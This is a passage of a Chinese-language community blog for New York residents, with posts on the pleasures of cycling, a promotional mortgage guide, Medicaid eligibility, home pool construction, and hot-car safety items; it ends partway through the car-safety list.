2.骑乘欣赏美景会让人心旷神怡

有很多人非常享受骑游山水的感觉,徜徉在如茵的绿树中,碧蓝的天空,巍巍高山、浩瀚的大海、壮观的瀑布、幽静的山谷,大自然实在太美妙了。骑行的过程即使是安静的街道,修剪整齐的草坪,漂亮的房屋,各色墙院栅栏都是美丽的风景,令人赏心悦目。周末约几个朋友,或带着家人出去骑车,欣赏着美景,享受着人生,一路歌声和笑声。仿佛从天际传来《声声慢》的小调“青砖伴瓦漆,白马踏新泥,山花蕉叶暮色丛染红巾。屋檐洒雨滴,炊烟袅袅起,蹉跎辗转宛然的你在哪里……..”

3.健身的快乐

骑车本身就是非常好的健身运动,年轻人不必花钱去健身房,坚持骑行,锻炼四肌,增强全身耐力,达到健身效果。坚持骑行有减肥瘦身效果,因为骑行是一种简单易行的有氧运动,可以帮助消耗体内多余的脂肪,燃烧卡路里塑造肌肉。

骑行过程两腿交替蹬踏,可加速心跳,提高人体心肺功能,有助于心脑血管的韧性与健康。通过运动预防高血压,有时比药物更有效。另外,骑车时呼吸量会增强,可给大脑充分的供氧,能提高人的敏感度,预防大脑老化。总之,无论青少年、或中老年人骑行锻炼身体益处多多。不必追求速度和距离,悠闲骑车聊天、一边欣赏风景、一边收获健康,岂不乐哉!

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自行车永远是孩子们最爱的礼物

4.家庭的乐趣—孩子们最棒的礼物

自行车永远是孩子们最爱的礼物。在美国,很多家长为培养孩子们的独立意识,会在孩子很小时就送自行车给他们。因此,很多孩子很小就学会了骑车。并且,非常多的家庭父母喜欢在周末或假日,全家骑自行车去郊游。有的骑友则去不同的地方品尝不同的美食,骑游妥妥地成了美食游,享受假日最快乐的时光。这也让孩子们从小就明白户外骑车享受休闲之乐,远远比宅在家里、赖在床上好得多。

———————————————骑自行车的快乐—自拍控

5.自拍控的快乐

很多人很享受骑游自拍的乐趣。出发前穿上最心仪的骑行衣服,带上自拍杆、手机,咔擦!咔擦!照几张;骑到中途摆个完美的Pose再自拍几张;骑完车后照几张,欣赏一下自己骑乘结束的样子。然后发到朋友圈,也将骑乘的快乐一起分享 。

6.恋人的浪漫骑行

无论是影片或现实生活,自行车永远是Romantic的。要知道骑游约会,无论什么时间,去什么地方,都是开心的。

7.享受挑战极限的快乐

有些车友喜欢不断挑战自己的极限,体验竞速的快乐,寻求越野的刺激,比如:骑上别人都骑不上的陡坡,过别人过不了的险路,无惧风吹雨淋、泥泞积水、高山险阻、颠簸坎坷,反正各种挑战的方式他们都乐此不疲。即使天气不好,也想着方法去户外。即使受点伤,也是痛并快乐着!咔擦!

8.数据控的快乐-骑车可减压

有些车友热衷于手机上的骑乘软件、码表等的数据,分析自己骑行的均速、极速、心率、踏频,看到数据的不同变化,心里就觉得有趣快乐。当你每一次跨上单车都会很开心的,并且在骑之前你就很期待,骑乘带来的快乐。将自己的压力藉由双腿的踩踏运动转化为驰骋的速度,大口的呼吸新鲜的空气,享受自由的感受。时间如流水飞逝,路边的一切景物,都令人心旷神怡。

9.装备控的快乐

有些车友爱车如痴,对自行车的品牌、性能、部件、价格了如指掌。闲暇时光都在琢磨装备,换件,升级乐此不疲。例如换套件、锁鞋、头盔、安全灯、喜欢自己组车…. 他们的车不一定是最贵最快的,但一定是搭配得最专业的。让别的车友欣赏到自己的与众不同的爱车,便是最大的快乐。

10.经济实用方便快乐

骑车上班、上学,日积月累可以省下一笔不少的交通费,当也是一个很完美的开心理由。很多华人家庭喜欢实用行的自行车,例如,前面横梁可以加儿童坐;车座后面安装货架可以载物,经济实用必不可少!

总之,骑乘自行车兜风,实在是一件很惬意的事,能带来太多的快乐。

深林静处有雨香!骑自行车,让我们有了一双发现美的眼睛。走出家门,到户外到大自然寻找生活中更多的美好。无论绽放或凋谢,骑行时我们眼里看到的永远都是最美的景色。

骑行,也让我们学会了珍惜和感恩。哎!我们有多久没和老爸、家人、好友一起骑过车了?这个周末要不要去?  Absolutely yes!   let’s go!

2021-06-08 / by / in
美国贷款买房 要知道的坑 不能犯的蠢|好用贷款计算器|纽约贷款公司助您买房|贷款买房全流程

美国买房多大多数的人都是贷款买房,当然现在房市火热、资产膨涨,也有不少人现金买房,但美国贷款买房的好处是可以抵税、建立信用分数,手上保留更多钱以便其它用途,也可以提高房价的上限,本来现金可以买100万,贷款买房或许可以买到130-150万。如果你在纽约买房,纽约房价贵,你先付一部分首付,贷款买房能买到更好的房子,这就是杠杆作用。

申请贷款额的高低主要就是看房产价值、借款人的还款能力而定。以下来详细谈谈贷款买房的种类、流程和介绍几个贷款计算器,以及申请房贷要注意的坑,与申请时不要犯的“蠢”。

纽约贷款公司/不查收入贷款 718-514-6008 商业贷款/房屋贷款/低利率贷款

各种美国贷款买房种类

贷款有许多种类,从购买房产的类型来分大约有以下几种:二手房贷款、新房贷款、投资房贷款、重新贷款等,当然还有许多商业贷款、建筑贷款、酒店贷款……这些都是属于商业类型的贷款。我们本次着重在住房贷款,尤其是在美国买房占绝大部分的二手房贷款。

二手房贷款:就是通过房产价值去申请贷款额度,另外还要根据贷款人的信用分数、还款能力去评估。如何鉴定房产价值,银行会有专员去估价,例如一处纽约房产估值一百万,但买价是110万,在你信用分数足够的情况下,你可以放入28万首付款,贷款82万的Conforming Loan,以顺利获得贷款买房。

Conforming Loan就是标准型房贷(常规型房贷),依据每个县(County)的房产估值不同,贷款上限也有不同,例如纽约当前的上限$822,375。想要了解您当地的Conforming Loan上限,可以查看联邦住房金融局(FHFA)的CONFORMING LOAN LIMITS MAP。如果贷款额度超过Conforming Loan,那就是巨额贷款(Jumbo Loan),巨额贷款的首付、信用分要求会更高,利率也会较高。

贷款类型,从贷款的方式来分类也有几种类型:常规贷款、退伍军人贷款(VA)、低收入户贷款(FHA)、农村地区贷款(USDA)、不查收入贷款等类型。

退伍军人贷款(VA Loan)当然就是要有退伍军人身份,享有零首付、低利率、免房屋保险的好处。

低收入户贷款(FHA Loan)也就是由联邦住房管理局担保的贷款,最低的首付要求是3.5%(信用分580以上),信用分数最低可至500分,首付的比例与利率会根据信用分数和各项条件调整。

农村地区贷款(USDA Loan)美国农业部贷款是一些农村和郊区购房者可以使用的抵押贷款选择,具有零首付款、较低的信用分要求和低利率等好处。美国农业部房屋贷款由合格的贷方发行,并由美国农业部 (USDA) 提供担保。这个类型适合生活在农村或低收入地区的购房者,而且是唯一一个可供未在军队服役的借款人使用的主流零首付计划。

不查收入贷款,不名思义就是不查看税表、银行月结单,但是仍要看信用分数,最好在680以上,但是没有信用分也可以申请,不过要提高首付款的比例。不查收入贷款方便新移民、报税低、尚未有正式工作的人群申请,因为不查收入,所以利率也会比较高,我们有另一篇文章介绍“不查收入贷款”,可以进一步参考。

贷款计算器(Mortgage Calculator)

这里就介绍几款线上房贷计算器给大家使用,可以先行了解大概多少额度的贷款、多少利率、贷款多长时间,会得出多少总金额、月供多少。不过这些贷款利率计算器只能输入的额度、利率只是自己的期望值,真正能不能拿到要看个人最后的买房贷款金额、个人信用分、还款能力,最好去找一位有经验,或亲朋好友推荐的贷款经纪。

Prime Pioneer Capital Corp这是一家总部在纽约Fresh Meadows的贷款公司,是一群十几年经验丰富的全美贷款专业人士组成的贷款公司,而且面向在美华人客户群,公司网页全中文化,对华人使用者非常便利。

他们的贷款计算器可以对比多个不同的贷款,比如三十万、五十万两种额度,或是对比不同贷款利率、贷款期限。这个贷款计算器也会得出一个本金、利息逐年变化的图表,和每年摊销的日程表,非常清楚。

这家纽约贷款公司有多个贷款项目:住宅不查收入贷款、商业贷款、教会贷款、酒店贷款、快钱贷款、建筑贷款、生意贷款、生意净值贷款。而且贷款向全美国。

例如,2019年底,Prime Pioneer Capital Corp曾替一位在纽约,F1身份的留学生办理不查收入贷款,贷款金额高达$1,925,000,头期40%,利息4.25%,28天过户。

Nerdwallet这个贷款计算器也很简单,上面贷款金额、首付款;右边输入地点、利率、期限;中间输入房屋税、屋房保险、HOA费(如果有)、贷款保险(首付低于20%)等金额。最终就会计算出每月的供款多少,这个计算器的好处是多了房贷以外的房屋费用计算,让你知道真正买房后每月要支付的大概金额。

Zillow这是是一个全美知名的房地产网站,它的贷款计算器与上面两个大同小异,但它还可以输出一个完整的报告页面,还有分享的功能。所以也是一个可以参考的贷款计算器。

住房贷款流程

现在来谈谈贷款流程,首先要估算一下自己的财务能力,有多少信用分、多少债务、手上有多少资金等,以便于知道自己大约能买多贵的房子、贷多少金额。

接下来,最好找一位贷款经纪(你也可以直接找银行或网上办理),从朋友推荐或是网上评价好的贷款经纪都可以询问。找贷款经纪的好处是他们可以根据你的条件,帮你比对各家的贷款方案,有时也可以帮你改善信用分数,并且在贷款的前前后后帮你照顾整个繁琐的贷款流程、帮助你提供正确的申请资料。

贷款经纪会请你申请一份贷款预批信(Pre-Approval Letter),知道你可贷多少钱(但这不是最终的结果,必须实际申请贷款才会知道),你就可以拿着这个文件去找房、去下Offer。请记得贷款预批信大约只有60~90天的期限。

假设你已经签订买房合同、存入订金,那就可以开始申请房贷,如果你有贷款经纪,他就会请你提供所有需要的资料,例如报税表、工资单、银行月结单等等,当你向银行提出申请后,银行会给你一份贷款估算表,提供贷款利率、贷款期限、地产税、保险、过户费等资讯。

然后你要请人来验房,检查房产各项功能、设备有哪些需要修缮,可以和卖家协商修缮费用的支出或降价,以补偿房屋缺陷的问题。

经过验房后,银行就会请估价师来估价,假如估价低于你合同上的买价,银行并不会帮你补足差额,这部分必须买家和卖家协商,或许是卖方降价,或许买家自己加足差价,或是再次和银行协商贷款金额。这部分谈妥后,贷款人可以开始锁定利率(如果你是选择固定利率),比如你能获得现在的利率2.9%,锁定后就能保障你能获得这个利率。

这段期间也可能需要贷款人补充材料,例如估价金额不同、贷款人条件异动,或者资料不完整等因素,都可能被银行要求补件。这时你的首付款也要赶进存入Escrow公司,银行才会进行放款动作。

以上都完成后,就开始过户阶段(Closing),这时过户文件就会有最终的贷款各项费用,如贷款费用、月供金额、过户费用等等。买卖两方和贷款经纪、银行代表、Escrow代表和过户代表等人会聚在一起签约,一般是在产权公司(Title Company)进行签署。不过新冠疫情之后,大家就会根据不同情况,分开签署文件,最终完成贷款买房的过程。整个过程大约需要30~45天的时间。所以,建议买家最好找一位可以信赖的贷款经纪比较好。

根据纽约贷款公司银通贷款表示,贷款经纪不仅是帮顾客拿到较低的利率和过户费用,更重要是希望客户能够快乐、没有压力去享受整个贷款买房的过程。最重要的是,银通贷款公司没有隐藏费用。

房贷期限与固定、浮动利率

纽约贷款公司银通贷款表示,房贷计划大致分成固定利率抵押贷款(FRM)、可调利率抵押贷款(ARM)和混合ARM三种。

固定利率抵押贷款这个是最常见的贷款方式,传统固定利率抵押贷款,包括每月本金和利息支付,在贷款期限内不变。期限可选择30、15、7、5年不等,依据个人能力、需要去设定,一般来说期限越短,利率越低,如果自住房,大多数人会选择30年,以减少每月的还款压力。

可调利率抵押贷款,就是根据市场浮动利率,所以当政府执行货币宽松政策时,通常利率就低,但货币紧缩时,利率就会攀升。具体取决于当前的市场状况。通常情况下,这种贷款在调整前的一段时间内按固定利率计息。

混合ARM抵押贷款结合了固定利率和可调利率抵押贷款的特征,也被称为固定期ARM。例如5/1 ARM,代表前五年是固定利率,第六年开始变成浮动利率;7/1 ARM、10/1 ARM分别是前七年、前十年是固定利率,后面是浮动利率。好处是前几年固定利率可能较低,但之后浮动利率会较高,贷款人要留意这种情况。假设你预计七年内会卖房,或许可以考虑7/1 ARM。

如果信用分数不够高,又想降低贷款利率的人,也可以购买贷款点数(Mortgage Point),1点(1 Point)代表一个贷款金额的1%,例如贷款50万,一点就是$5,000,买一个点通常可以降低0.125%~0.25%。所以对长期持有的人可以考虑购买点数,来达到降低每月还款金额,值不值得买要看个人情况和考量。

注意信用卡使用 影响房贷申请

再来谈一个信用分数的建立。对一个新移民来说,一开始如何建立信用分?新移民可以开启两张信用卡,在准时还钱七、八个月后的情况下,他们的信用分数会涨得挺快的,大概有七百分以上了。而且注意拥有信用卡后,比如信用卡公司给你一千美元额度,你尽量刷到50%的信用额就好了,不要太高,否则会影响信用分数。

有很多购物广场会怂恿你办信用卡,这个坑千万注意,因为每办一张信用卡,银行就会查信用,你的分数就会跟着降,越办越多,分数就越糟糕。还有尽量少用分期付款购物,这也会降低分数。尤其在办理房贷前,尽快偿还信用卡债务。

另外,办理房贷期间也不要从信用卡里借钱,以免提高债务、降低分数。如果你的信用分数只是在及格边缘,信用卡额度尽量保持在10%以内的消费。

申请房贷期间不要犯的蠢

除了信用卡使用要注意,还有一些申请房贷时的“蠢”不能犯。简单说,申请房贷期间贷款人最好安分点,任何有关工作、工资、花费等等不都要异动,以免丧失贷款资格、或延长贷款通过。以下列出几项供大家参考:

不要工作异动:贷款期间就算签完最后申请文件,也不要辞去或转换工作、改变薪资等变动,因为银行很可能致电你的公司询问你的工作情况。最好的就是保持现状,直到银行放款。
不要借钱:例如上面提到的从信用卡里借钱,这也是忌讳。
不要大笔花费:例如购房后马上去购买大型家电或其他高价物品,这些花费都会引起银行的注意。
不要频繁在帐户里转钱:例如有些钱转去投资股票、债券,这些动作银行都会询问。
不要突然存入大笔资金:例如突然从国内帐户存入数十万到美国银行,银行会要求提供资金来源,以防止洗钱。当然,你的首付款资金,最好能在你的帐户至少存两个月以上,以防止银行过问。
不要同时进行另一个贷款:如果您同时申请房屋净值贷款(Home Equity Line),或购买租赁物业或度假房产,贷款行会要求知道新物业的所有细节以确定你是否仍然符合贷款条件。甚至贷款行会要求你先完成其他贷款之后,再提供你房贷,这样就拖延了买房时间。

现在利率与走势

最后我们来看当前(6月7日2021年)贷款利率,大约都在3%以下,甚至十年浮动利率有最低的1.962%,详细请见图表数据,几乎已经是谷底利率,所以也导致现在房市如此火爆,需求大增。最后请注意,这些利率仅供参考,实际获得利率会根据个人情况、条件和不同贷款银行而出现差异。未来利率走势,如果通货膨胀持续,美联储进行货币紧缩,利率将会走升;如果通膨只是暂时,利率或许暂时不会大幅变动,不过一般经济专家认为2021年,随美国经济重启,利率会往上微调。

美国纽约买房贷款|不查收入贷款 适合谁?怎样拿到低利率贷款?房屋贷款服务指南推荐!

 

2021-06-08 / by / in , , , ,
美国纽约申请Medicaid白卡收入标准 福利项目 | 申请条件 流程 是否公共负担 影响身份申请吗

美国医疗补助计划 Medicaid,也就是我们常说的白卡,是美国专为低收入人士提供的健康保障计划。怀孕妇女、儿童、老年人、残障人士都可以申请。白卡的保费由政府支付,申请到白卡后受益人可以免费医疗或只需支付很低额度的费用。每个州都有自行制定的具体医疗补助标准,比如纽约州申请白卡的一个重要判断标准就是看收入。纽约申请白卡的条件是什么呢?

白卡申请条件 (2021年)

身份

一般情况下,申请白卡要有美国公民或永久居民(绿卡)身份。不过,在特殊情况下非公民或非绿卡身份也可以有申请资格,比如怀孕、或需要紧急医疗服务(Emergency Medicaid)等。

纽约白卡收入标准2021

除身份之外,在纽约申请白卡主要会看家庭收入。收入以调整后收入MAGI (Modified Adjusted Gross Income) 为准。您的调整后收入以在纳税申报表上的数额为准。

–  针对19-64岁单身或夫妻无子女申请人,纽约低收入家庭的标准是总收入在FPL (Federal Poverty Level联邦贫困线)138%以下。

– 1岁以下婴儿及孕妇收入标准为223%联邦贫困线以下;

– 1-18岁儿童申请标准为家庭收入在154%联邦贫困线以下。

我这里制作了一张家庭人数和收入(美元)标准对照表供大家参考:

另外,您也可以登录美国健保官网HealthCare.gov, 依次输入家庭成员数,所在州及预计当年的收入,即可查询自己是否符合白卡Medicaid 申请要求。

纽约申请白卡流程

一年当中的任何时间您都可以申请纽约白卡。

申请白卡需要准备的文件:

身份证明公民或绿卡身份等;

收入证明:工资收入证明等;

日常支出的说明:房租或房贷供款,水电费等。

您可以在纽约州的健保市场(Marketplace, NY State of Health)申请白卡,处理申请的时间一般是45天,残疾人士是90天。

纽约申请Medicaid白卡的方法可以:网上申请,邮寄或者预约所在县(County)的社会福利机构。通过这些方法填表提交申请,等待官方审核。

审核通过后,County会书面或电话通知,要求提供数据证明,随后就等待审核结果。

审核通过后,就可以拿到白卡了。

您有问题的话,可以拨打 855-355-5777 联系 NY State of Health,或者拨打 Medicaid 帮助热线 800-541-2831。

Medicaid 白卡福利

由于白卡主要针对低收入人群,由政府支付保费后,白卡受益人可以免费医疗或只需支付很低额度自付费。

Medicaid必须报销的医疗服务项目(Mandatory Benefits)包括:

  • 住院服务;
  • 门诊服务;
  • EPSDT:早期和定期筛查丶诊断和治疗服务;
  • 养老院服务;
  • 上门护理服务;
  • 看医生;
  • 郊区卫生诊所服务;
  • 联邦认证的健康中心服务;
  • 实验室和X-光;
  • 家庭生育计划;
  • 护士助产士服务;
  • 儿科和家庭内科护理医师;
  • 州认证的生育中心;
  • 来往看病的交通服务;
  • 孕妇的戒烟咨询。

(图片:必须报销的医疗服务项目medicaid.gov)

除了必须报销的医疗服务项目之外,各州也可以决定是否扩展Medicaid的医疗福利Optional Benefits,扩展的福利基本覆盖了高费用治疗项目,以及牙科、眼科等。

纽约的白卡福利基本包括了定期检查,免疫接种,医生以及诊所就诊,相关的医疗用品和设备,实验室检查和X射线,视力,牙科,疗养院服务,住院,紧急情况和处方。

白卡可以用作主要的医疗保险;如果白卡受益人同时还有其它的医疗保险,白卡则会当作次要医疗保险补充,支付其它医疗保险没有报销的部分费用,比如自付额dedutible、挂号费/定额手续费copay、共同保险coinsurance等。

申请Medicaid 白卡医疗保险没有时间的限制,一年中的任何时候您都可以申请。

白卡更新

白卡每12个月需要更新一次。到时候会有信件提醒,并提供更新的方法。

白卡更新时,会需要重新提交身份和收入等证明文件,然后重新审核。也就是每12个月需要重新提交申请和审核。

白卡取消

假如您的收入提高了,不再符合白卡的申请条件,是需要主动申报的。你可以登入Marketplace账号,更新医疗保险信息后取消白卡。

也可以登入纽约Medicaid管理机构,  更新信息。

白卡福利在你要求取消的那个月的最后一天结束,并会有书面文件确认。如果你另外购买了其它医疗保险计划,请确保新的医保计划实施日期与白卡结束日期能够衔接上。

白卡是公共负担吗

根据移民局网站信息,不将申请白卡Medicaid认为是公共负担。所以按照目前的规定,不会影响身份申请。

最后,祝愿大家身体健康,平平安安。申请健康保险计划,给自己健康保个险。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

2021-06-07 / by / in , , ,
纽约建造游泳池须知|纽约家庭游泳池日常维护小秘诀

试想一下在炎炎的夏日再也不用去挤公共泳池了,就在自家的后院戏水消暑,是不是会幸福感指数暴增呢?家庭游泳池就是如此的让人着迷。它可以立即把你空旷的后院变成欢乐的绿洲,并且它适合于几乎所有年龄段的人都使用,和家人共度美好的时光。

据统计,美国现有的泳池超过500万个,每年新建近20万个。在纽约,布鲁克林区的家庭游泳池最多,约占全纽约的一半。

如果你决定了要在纽约建造一个属于自己的泳泳池,请首先了解一下下面的事项:

一、在纽约建造游泳池要有市政部门许可、备案

纽约州后院游泳池的建设要求很多。有两种类型的游泳池不需要建筑部的许可。这些包括: 面积小于400平方英尺的室外地下游泳池,现有污水池连接到用于排水的卫生下水道。深度小于48英寸且面积不超过500平方英尺的地上游泳池。

虽然建造这类泳池不需要许可证,但您在建造时需要遵守纽约市建筑规范的施工要求。

其他类型的游泳池需要在建造前由注册建筑师申请许可证和施工计划。

无论您的池是否需要批准,它都必须符合以下一般规则。

• 您的游泳池必须安装有连续围栏,该围栏应至少高出地面四英尺。
• 如果您要安装金属安全围栏,请确保它们接地以防止它们带电。
• 游泳池周围 15 英尺范围内不应有任何架空电导体。
• 要安装燃气泳池加热器,注册建筑师必须申请建筑署批准,而电工必须申请电动泳池加热器批准。
• 排水管线必须连接到污水池,并且您必须获得替代排水方法的批准。

二、选择合适的位置

为您的游泳池选择最佳位置与游泳池本身一样重要。经验丰富的泳池承包商可以提供宝贵的见解,但请务必考虑以下泳池布置技巧:

阳光照射:通过选择一个对阳光开放且远离任何树木的游泳池位置来利用免费太阳能。这样的位置不仅会使水变暖,还会减少落入池中的树叶数量。
阻挡微风:在有风的地方建造游泳池会大大增加水的蒸发量,这意味着您必须不断加水。强风也会让您在游泳时感到不舒服。通过竖立实心板围栏或种植一排浓密的灌木来创建防风林。
地势高处:不要将游泳池设置在低洼地区,这可能会导致在大雨期间,游泳池被泥浆和碎屑淹没。
• 泳池上方不应有架空的电线、电缆。
保持在可视范围内:只要有可能,在房子的视野范围内建造游泳池。这样,即使在室内,您也可以密切关注游泳者。

三、警惕预算超支

建造游泳池的最终价格往往比游泳池本身成本高出很多,一定要有这方面的心理准备。

泳池承包商的报价通常不包含下面这些内容:
户外照明、景观、小径、甲板、围栏、露台、隐私屏风、漩涡水疗、室外音响系统、泳池盖、水质测试套件、遮阳结构、庭院家具、设备棚、储物柜、泳池玩具和额外的户外电源插座。

现在,您可能不太需要所有这些项目,但在制定施工预算时请记住它们。

纽约游泳池低成本维护小秘诀

建造一个游泳池是一笔可观的费用。许多人不希望有过高的维护成本,以保持泳池水安全和舒适游泳。有一些新的技术可以显着降低这些成本。

1.使用变速泵,选择正确的循环系统。

游泳池的循环系统同时进行过滤和消毒,以保持游泳水的清洁和清澈。过滤泵从池底排水管中抽取水,将地表水通过自动撇渣器输送,然后将所有物质通过过滤器,然后再循环回池中。

通常使用三种类型的过滤器:沙子、滤芯和硅藻土 (DE)。经验丰富的承包商将帮助您确定哪种过滤系统最适合您的游泳池。
拒绝使用单速泵,安装变速泵,可以有效的节省电费。

2.加装泳池盖

加装泳池盖不仅能保持水的清洁度,还可以将游泳池的蒸发水损失减少多达50%,为您节省高达70%的泳池加热费用,同时将游泳池化学品消耗量降低60%(根据美国能源部官方数据)。可以考虑采用可折叠的太阳能泡罩式设计。

3.使用更大的池过滤器。

较大的过滤器因为其较大的表面积允许水在较低的压力下泵送。更大的过滤器不仅对您的月度电费的贡献更少,而且它也可能持续更长时间,从而为您节省长期更换成本。

4.加水就是第一次水费高,加水前给水公司打电话说要灌游泳池,不经过sewer,水费会便宜很多。

5.产品配备定时器,您可以将过滤器和加热器设置为最经济的时间运行[午夜至凌晨 4 时],”

有一点要特别注意,泳池若需要换水,不能完全放干,否则地面的压力失衡,可能会影响房屋地基。


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2021-06-06 / by / in , , , , ,
自行车下的纽约都市,生活时光充满浪漫、惬意!(美国纽约法拉盛自行车商店车友会会员推荐)

骑上自行车漫步纽约,体验大都市的浪漫、惬意,感觉好像时空倒转,感慨万千!

华人朋友们,骑自行车兜风,已经成为我们不可缺少的生活一角!

美丽的都市不能缺少自行车!

美丽的生活不能缺少自行车!

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文/nacy

自行车是一件非常惬意的事,骑乘路上可以看到人们散步、遛狗,身心愉悦。最重要的是有助于培养融洽的人际关系,陌生人看着你,对你微笑,向你问好感到人与人之间的友爱善良;碰到熟识的人,下车聊几句,也很方便,而开车就没有这样的优势

骑自行车是一种非常好的运动方式,锻炼同时还能赏心悦目。骑车远行可以欣赏美丽的风景,可以看到整洁街道,精心修葺草坪,漂亮的小房子若隐若现墙院栅栏骑行可以注意到平时开车时不曾注意的商铺橱窗展示所以骑自行车比开车更有感觉。

骑程远一点的可以欣赏大自然的山水,呆萌的野生动物,如画淳朴的小桥、流水、人家…

美国人骑车人数众多多是源于爱好运动,而不是日常生活的代步工具。一到周末,爸爸妈妈会带着孩子骑车出去度假郊游,很多美国人从小就骑自行车娱乐对于上班族,周末约几个朋友出去骑车锻炼,不仅能增进感情,还可以放松心情,纾解工作力,骑行运动男女都适合骑车可以锻炼身体,又没有堵车挤车烦恼,曾经在城市中骑车上下班成为一种风气。

美国有1/3的家庭有自行车,1/10的人经常骑自行车近来呈上升趋势,骑车可以减少接触传染骑车可以锻炼身体,减少空气污染,节省燃料。

骑车不仅可以体验自由自在的感受还有好处—免费健身经济环保

1. 骑行有效的提高功能使心肌收缩有力,血管壁弹性增强。随着腿部

蹬踏动作,心跳加快,可促进身体代谢补充养料和排出废弃料

2.骑行预防大脑老化,提高神经的敏捷性。运动可加速血液循环,可让大脑获得更多的氧气

3.骑行调节心情,使精神放松,减轻压力,身心愉悦。

4.骑行能瘦身,消耗燃烧人体多余的卡路里。

美国的骑车族虽然人口众多,但传统上来看骑车在美国主要是一项爱好与运动,并非日常生活的代步工具,上下班、购物、外出等,主要还是靠汽车。骑自行车最主要受天气、骑乘距离等的限制。骑自行车过度对颈椎、腰椎以及膝关节、韧带等有损伤,症状为痛疼,主要是骑姿不对。

据统计,美国人买自行车的目的:休闲娱乐33%运动锻炼28%上班、上学代步工具17%

自行车种类很多,从作用类型分有:公路车、山地车、城市车、童车等;从按性能特点分有:耐力竞技型、混合越野型、休闲型、运动型、健身型、山道型、实用型等若干选择

骑自行车的注意事项

骑车安全十分重要。自行车要遵行与骑车同样的交通规则包括红绿灯信号、避让行人、转弯时打手势、不逆行自行车有专用车道,车道标记此外还要带头盔骑车还要特别要*注意的是:靠近停驶的汽车时减速,要当心汽车里的人突然开门等。

疫情的流行改变了我们的生活方式,人们开始思考人生,简化生活,放慢节奏,亲近大自然,爱护环境许多人开始骑自行在附近选一个好风景的地方悠哉游哉地骑上个把小时,即锻炼了身体,又清除疫情以来在家里的压力朋友们,这个周末你要不要去骑车兜风啊?

自行车上的浪漫

自行车点缀美景

可爱的自行车不能缺少!

都市里没有自行车太呆板了!

自行车是最好的礼物

小小自行车力大无穷!

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网络留言:

自行车我爱你!

没自行车这日子可怎么过!

自行车是最好的车!

自行车让生活有光彩!

骑自行车多牛哇!

2021-06-06 / 1 Comment / by / in ,
安全建议!20件绝对不能留在车内的危险物品

文|雨荷

每年美国消防员都会警告可能发生火灾,但如果将一些物品留在您的车内实际上可能非常危险。这20件绝对不能留在车内的危险物品。

1.洗手液

曾经,携带洗手液被视为只有超级挑剔的人才能做的事情,但当然现在它已成为我们所有日常工作的一部分,因此您的车里很可能有一些。这当然是有道理的,您想确保在到达某个地方后对双手进行了消毒,但是您是否知道,在某些情况下,将消毒剂放在车内实际上可能会导致火灾隐患,如果它是含酒精的产品?尤其是靠近明火时,或者如果您碰巧吸烟,就非常危险。此外,酒精也会在阳光下迅速蒸发,从而降低消毒剂的效力。因此,将消毒剂放在包里或口袋里比把它放在车里要好得多。

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洗手液 示意图。

2.塑料瓶

我们中的许多人都犯了这个错误,我们有一瓶汽水或水,然后我们把空瓶子扔到脚下。这真的不是一个好主意,因为在高温下塑料开始变质,它会释放有毒化学物质,如邻苯二甲酸盐和双酚 A,这些化学物质会破坏激素功能,并与癌症和心脏病有关。

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塑料瓶 示意图。

3.气溶胶

加压罐在汽车中是真正的禁忌,所以如果你准备好去健身房后使用的除臭剂,或者在上班路上快速喷一喷的发胶,那么你需要改变你的日常工作,因为它们真的会爆炸如果温度升高并且压力开始在罐内积聚。

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气溶胶 示意图。

4.食物

在长途汽车旅行中野餐时,您或许应该三思而后行。在夏季,许多食物在很短的时间内食用后就会变得危险。不要冒险食物中毒,如果您要开车长途旅行,请在到达目的地时购买食物。导致食源性疾病的细菌在室温下每 20 分钟增加一倍,在高温下速度更快,所以请记住这一点!

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食品 示意图。

5.饮料

热量会导致酒精蒸发,也会导致酒瓶塞爆裂。汽水罐如果太热可能会爆炸,而且暴露在阳光下会影响许多饮料的味道。饮料只是不适合旅行,所以你最好在到达时购买你需要的东西。

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饮料 示意图。

6.植物

如果您在离家较远的花园中心发现一株可爱的植物,您可能会拒绝购买,因为即使是温和的温度也会在几个小时内杀死一些植物。如果你带着植物旅行,尽量让它们保持凉爽、浇水充足和阴凉处,并尽快把它们从车里拿出来。

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植物 示意图。

7.化妆

在车里放一个化妆包对于那些快速补妆的人来说似乎很方便,但你可能会发现你的口红在温暖的天气里会融化,而任何液体,比如面霜和乳液,都很容易变质。

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口红 示意图。

8.蜡烛

与蜡笔一样,蜡烛在高温下会熔化,而放在玻璃容器中的蜡烛则非常危险,因为它们在过热时会破碎。

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蜡烛 示意图。

9.美术用品

如果孩子们喜欢在车里画画,为了在长途旅行中保持娱乐,你应该看看车内和车外的蜡笔,因为掉在地板上的蜡笔会融化,而且弄脏地毯真的很难去除.

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美术用品 示意图。

10.打火机

吸烟者应该非常小心,不要将点烟器留在车内,如果将它们放在阳光下,它们确实会引发火灾。将它们扔在仪表板或空的乘客座位上虽然很方便但不安全,不要放在车里。

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打火机 示意图。

11.电池

无论是您购买的新电池组,还是拆下旧电池并丢弃在车内,您都需要小心,因为电池在高温下可能会泄漏。蓄电池酸液有毒,还会损坏车辆内部。

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电池 示意图。

12.药品

如果暴露在高温或高湿度下,药物的效果会降低。这当然会产生严重后果,因此如果您将药物放在车内以备不时之需,请务必定期更换,要保证药品有效。

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药品 示意图。

13.电子产品

您的电子产品中充满了会受到热量不利影响的部件,因此不要冒险将手机或笔记本电脑长时间留在车内。如果您让贵重物品放在车内,容易有被盗的风险!

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电子产品 示意图。

14.手袋

袋子对小偷也很有吸引力,因为它们很可能装有信用卡、现金、手机和其他贵重物品。它也是细菌的温床,如果将它放在温暖的车内,在温暖的条件下会大量繁殖。

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手袋 示意图。

15.眼镜

如果您戴眼镜只是为了开车,把它们放在车里是有道理的,但要小心,因为镜片可以充当放大镜,实际上会引起火灾。塑料框架会在高温下熔化和翘曲,如果你有金属框架规格,如果它们在车里,不要急于戴上,它们可能会烫到你。

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眼镜 示意图。

16.防晒霜

在阳光明媚的月份,将防晒霜放在车内是很常见的,但防晒霜中的成分在高温下会分解并降低产品的保护作用。

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防晒霜 示意图。

17.湿沙滩装备

将在海滩上一天受潮的游泳装备或毛巾倾倒在车内,这将成为滋生酵母菌和细菌感染的温床。

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湿沙滩装备 示意图。

18.孩子们

作为成年人,我们非常擅长调节体温。然而,孩子们不能轻易适应高温和低温,所以在热车里是非常危险的。有一个可怕的事实是,一个孩子可能会在太热的车内在十分钟内癫痫发作,并在 20 分钟内死亡。

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孩子们 示意图。

19.宠物

